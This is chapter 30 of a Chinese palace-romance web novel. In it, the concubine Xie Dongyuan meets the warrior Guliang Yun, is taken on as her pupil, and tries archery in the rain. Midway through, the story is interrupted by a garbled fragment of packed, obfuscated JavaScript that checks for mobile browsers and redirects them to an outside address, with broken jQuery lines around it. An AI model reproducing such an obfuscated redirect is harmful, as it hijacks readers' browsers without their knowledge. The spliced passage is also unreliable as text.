30. 第 30 章

作品:《囚蛇

    南寿宫门内寂静得异样,每往前一步,只听见踩着枯枝叶的窸窣声。偌大的宫苑,竟不见一个人影。廊檐下的铜铃在初冬的风里轻轻摇晃,却不闻半点人语。


    没有宫人当值便罢了,可谷梁韵呢?难道她已寻机逃出去了?


    她沿着回廊缓缓走过一遭,偏殿、正厅、后园空荡得教人心头发沉。直到重新绕回前庭,依然未见那女子的踪迹。


    走得久了,谢冬瑗觉得有些乏,见庭中那株高大的白玉兰树下设着一套木质桌椅,便对身后二人道:“本宫有些累了,在这儿歇一会儿罢。”


    “是,娘娘。”霜兰与王寝低声应道。


    这些日子在宫中,天色虽常晴好,日头明晃晃地悬着,寒气却一丝丝往衣袖里钻。不知今年会不会落雪呢?她望着枝头将落未落的枯叶,微微出神。


    一转眸,见王寝与霜兰仍垂手静立在旁,她不由道:“你们也站了半天,一起坐下吧。”


    两人面色一紧,当即跪下:“奴才不敢。”


    “这儿又没有旁人。”


    “娘娘,这不合规矩。”


    “真是讨厌这些规矩。”谢冬瑗轻声嘟囔。


    跪着的二人更不敢抬头。


    规矩,规矩……她忽而心念一转,如今在这里,她的话不就是规矩么?


    于是她故意端起神色,声音却带上一丝调侃:“本宫现在命令你们,坐到对面去,陪本宫说说话。”


    霜兰与王寝对视一眼,终究依言小心挪到对面椅上,却只挨着半边椅面,姿态拘谨。


    谢冬瑗身子微微前倾,竖起食指,目光在两人面上轻轻一转:“你们同本宫说实话,为何各宫妃嫔都对本宫避而不见?可不许搪塞哦。”


    霜兰低下头,声音细细的:“娘娘,自您册封后去了鸾凤宫一趟,皇后娘娘便称病不见人了。之后六宫中隐隐传言,说是您冲撞了凤体,以致中宫郁结……”她话到此处便不敢再续。


    原来是这样。


    谢冬瑗轻轻靠回椅背,唇角浮起一丝无奈的弧度:“不必说了,本宫明白了。”


    周清玄当真是个麻烦精。明明是他与皇后争执,是他下令软禁鸾凤宫,最后这苛责善妒的名头,却落到了她的身上。


    这下好了,还未与宫中同事相识,倒先被流言绘成了恃宠生骄的恶人。往后谁还愿与她往来?


    她在心底默默将周清玄的印象又抹黑了一笔。


    不过片刻,她眼中已重新聚起光亮。既知症结所在,便自有应对的法子。


    她正要向霜兰和王寝说些什么,忽觉手背一凉,一颗雨滴悄然落下。


    谢冬瑗下意识抬头望去。


    只见一道白影如轻羽般自树上翩然坠下,落地时竟悄无声息,连枝头的玉兰都未颤动分毫,更无半片花叶飘落。


    那白衣女子齿间衔着一朵白玉兰,肩上挎着个鼓鼓的布袋,长发只用一根细木枝松松束起。面容清秀俊逸,眉宇间流转着一股洒脱不羁的风流气韵,竟叫人一时难辨雌雄。


    霜兰与王寝却霎时绷紧了身子,他们认出那身白衣的纹样,正与前些日子尚衣局失窃的那件霜白缠枝莲纹袍一模一样。


    无人看清她是如何动作的,只觉眼前一花,她已斜身坐在了木桌边缘,俯身凑近谢冬瑗。眼中漾着明亮的好奇与笑意:


    “美人,是来找我玩的么?”


    好、好帅的人。


    自来到此间世界,谢冬瑗所见美男屈指可数。除却程文寺那般温润如玉的君子,便只有在神宫壁画上窥见的初代周天子,那种嚣张而野性的的美。


    而眼前这人,一身侠客般的落拓风流,明知她是女子,却仍让谢冬瑗的心跳漏了几拍。


    “是啊,”她迎上对方的目光,不甘示弱地弯起唇角,“正是来找你玩的。”


    “哦?”谷梁韵挑眉,眼中兴味更浓。她早已认出这是那日在竹林中偶遇的妃子,只是未料到对方竟会主动寻来。“你可知我是谁,就敢来寻我玩?”


    “谷梁韵,南国的将军。”谢冬瑗一字一句清晰答道。


    谷梁韵眸光微动。


    她没料到这深宫妃嫔竟能直呼其名,甚至知晓她的身份,莫非那日在竹林,自己早已暴露?


    不该啊。


    难不成她武功已退步到连毫无内力之人也能察觉的地步了?


    话音方落,天色骤暗。


    滂沱大雨毫无预兆地倾泻而下,雨帘瞬间模糊了庭院。


    谷梁韵一把拉住谢冬瑗的手腕,“走,先避雨!”


    哎呀,被这样牵着在雨中奔跑,倒真有几分像偶像剧里的情节了。


    霜兰与王寝慌忙撑起衣袖遮雨,紧跟在后。


    几人冲进殿内,谷梁韵反手合上门扇,将暴雨的喧嚣隔在外头。她随手抹了把脸上的雨水,从柜中翻出三条薄毯抛过来:


    “对不住,这儿没备火盆,先用这个擦擦罢。”


    谢冬瑗接过毯子,目光却被谷梁韵放下的那个大包裹吸引了去。只见她解开系扣,里头竟零零杂杂堆着好些东西。


    有红彤彤的苹果、毛茸茸的猕猴桃,还有几只用油纸包得严严实实、飘着香气的鸡腿……


    谢冬瑗不由睁大了眼睛。


    谷梁韵察觉到她的视线,唇角一扬:“想吃吗?”


    “要!”有吃的干嘛不要?


    谢冬瑗刚起身,却被霜兰和王寝一左一右轻轻拉住。两人面色发白,霜兰凑近她耳畔,声音压得极低:“娘娘,那些、那些东西像是玉妃从各处偷拿来的……”


    偷来的?


    谢冬瑗眼中反倒亮起更浓的兴味,能在戒备森严的皇宫飞来走去,想吃什么就拿什么,那岂不是更有意思了?


    她轻轻挣开两人的手,径自走到谷梁韵身旁。


    谷梁韵看着她这般模样,心里笑意愈深。这妃子,当真有趣。


    “那我要个猕猴桃。”谢冬瑗挑了一颗饱满的,回头又问霜兰王寝,“你们要吃吗?”


    二人把头摇得像拨浪鼓。


    谢冬瑗便自顾自剥起皮来,猕猴桃软软的,汁水清甜,好吃好吃,她满足地眯了眯眼。


    王寝在旁看着,终是忍不住轻声劝道:“娘娘,雨势稍弱些,咱们是否该回去了?”


    谢冬瑗指了指窗外如瀑的雨幕:“这般大雨,如何走得?待雨停再说罢。”


    王寝苦笑:“娘娘,可以向玉妃借伞的。”


    谢冬瑗转头望向谷梁韵,眨了眨眼:“梁韵,你这儿应当没有伞吧?”


    霜兰和王寝默默对视:娘娘这是打定主意不想回去了吧。


    谷梁韵朗声笑起来:“是呢,我这儿偏偏没有伞。”


    她啃着鸡腿,忽然想起什么似的,侧首看向谢冬瑗:“聊了这许久,还未请教你的名字?”


    “我叫木木,是宫里的祥妃,住在启祥宫。你若闲了,随时可以来找我玩。”


    启祥宫?


    谷梁韵动作一顿,那不是周天子居处么?


    “你与陛下同住一宫?”


    “是呀。”


    这倒让谷梁韵真正诧异起来。妃嫔与皇帝同居一殿,她从未听闻。看来眼前这人,绝非寻常宠妃那般简单。


    “宠妃?”她问得直白。


    “算是吧。”


    她四肢腕上那对银环至今未除,控制它们的玉牌仍在周清玄手中。这几日她几乎寻遍皇宫,除却启祥宫因暗卫重重无法深入,其余各处皆无那玉牌的踪迹,想必是被藏在了极隐秘之地。


    或许,眼前这位特别的宠妃,能成为她的契机。


    谷梁韵放下鸡腿,拭了拭手,眼中流转过一丝探究的笑意。她忽然倾身靠近些,声音里带着几分慵懒的风流:


    “还未问全呢,木木是你的名,那姓是什么?”


    谢冬瑗脸颊微热,垂下眼睫:“没有姓。”


    谷梁韵了然。看来这姑娘,多半也是被周清玄从外面强夺入宫的吧。


    “梁韵,你武功是不是很厉害?”谢冬瑗眼睛亮晶晶的。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117903|192639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谷梁韵唇角一勾,眉宇间浮起几分傲然神采:“五国之内,未有敌手。”


    “那,你可以教我武功吗?”谢冬瑗凑近了些,声音里满是期待。


    谷梁韵挑眉:“哦?你想做我徒弟?”


    “想!”谢冬瑗连连点头。


    “拜师可有拜师的规矩,”谷梁韵抱起手臂,眼里闪着戏谑的光,“你先磕三个响头,恭恭敬敬唤我一声师父,我便收你为徒,如何?”


    谢冬瑗几乎未作思索,当即整理裙摆就要屈膝下跪。


    那可是能在瞬息间取人性命、于皇宫中来去自如的五国第一高手谷梁韵。若能学得一二,往后便能护自己周全。


    而且下跪磕头算什么,谷梁韵要说想亲她她都愿意。


    霜兰与王寝却吓得魂飞魄散。


    二人扑上前来,一人抱住谢冬瑗一条腿,声音都带了哭腔:


    “娘娘!万万不可跪啊!”


    “娘娘若跪了,奴才们不如先撞死在这儿!”


    谷梁韵见状,扑哧一声笑了出来:“好了好了,逗你的。”


    她走到谢冬瑗面前,轻轻托住她的手臂,“木木,你只需答我一个问题,我便收你为徒。”


    “你说。”


    “原子弹,那是什么东西?”


    谢冬瑗瞬间瞪圆了眼睛:“你、你就是那日竹林里的女鬼?”


    谷梁韵笑而不语。


    谢冬瑗耳根微热,原来那日的狼狈模样,全被她瞧了去。


    “原子弹嘛,就是……就是……”她支支吾吾,脑中飞快转着。这要如何解释?总不能说是别的世界的武器吧?


    好吧,既然别无他法,她只好开始画虎栏了。


    “原子弹乃是上古仙人以天外仙石炼制的神物,威力极大,只要投掷一处,便能教那方土地万物湮灭,寸草不生。”


    霜兰与王寝听得目瞪口呆,仿佛在听天书。


    谷梁韵却若有所思地点点头:“果然是个了不得的东西。”


    她忽然向前一步,朝谢冬瑗伸出手,掌心向上:“那么从此刻起,你便是我谷梁韵的首席弟子了。”


    谢冬瑗粲然一笑,抬手与她清脆击掌。


    “对了木木,”谷梁韵转身走向内室,“你可会什么兵器,或者有什么偏好的兵器?”


    谢冬瑗偏头想了想:“我在故乡时学过射箭,不过我们那儿的弓与周国的形制不同,不知能否用得惯。”


    “你会射箭?”谷梁韵眼睛一亮。


    话音未落,她已纵身跃上房梁,轻巧地从阴影处取下一把长弓与一只箭囊。


    “来,”她将弓递到谢冬瑗手中,“先在此处试射几箭,让我看看你的底子。”


    几人走出殿门外。雨势竟比先前更急,哗哗地冲刷着宫砖,腾起一片白茫茫的水汽,整座南寿宫仿佛浸在一层流动的磨砂之中。


    谷梁韵退开两步,抱臂倚着朱漆门框,眼中含着淡淡的笑意与期待。


    霜兰和王寝屏住呼吸,紧紧盯着自家娘娘的手。


    在做明星之前,谢冬瑗曾是国家射箭队的一员,夺得过奥运金牌。后来家生变故,影响不好,她自愿离队,后来才成了演员。那些年她接戏时,甚至刻意避开所有需要挽弓的角色,生怕触碰记忆深处那片被自己封存的记忆。


    已经快十年没有碰过弓箭了。若不是谷梁韵问起,她几乎要忘记弓弦绷紧时指尖的触感。


    谢冬瑗握紧弓身,抽出一支箭,搭弦,拉满,动作略显生涩,却仍带着经年训练留下的肌肉记忆。她深深吸了一口气,目光穿过雨幕,定在十米处院中那株山茶花树上。


    一朵殷红的花在雨中瑟瑟颤动,将落未落。


    箭头微移,对准了那一点红。


    松指。


    箭穿透雨幕,疾驰而出。


    众人的目光紧追着那道痕迹。


    只见箭簇擦过山茶花的花瓣,带落几片碎红,却未停留,直直往远处宫门奔去。


    “你们在干什么!?”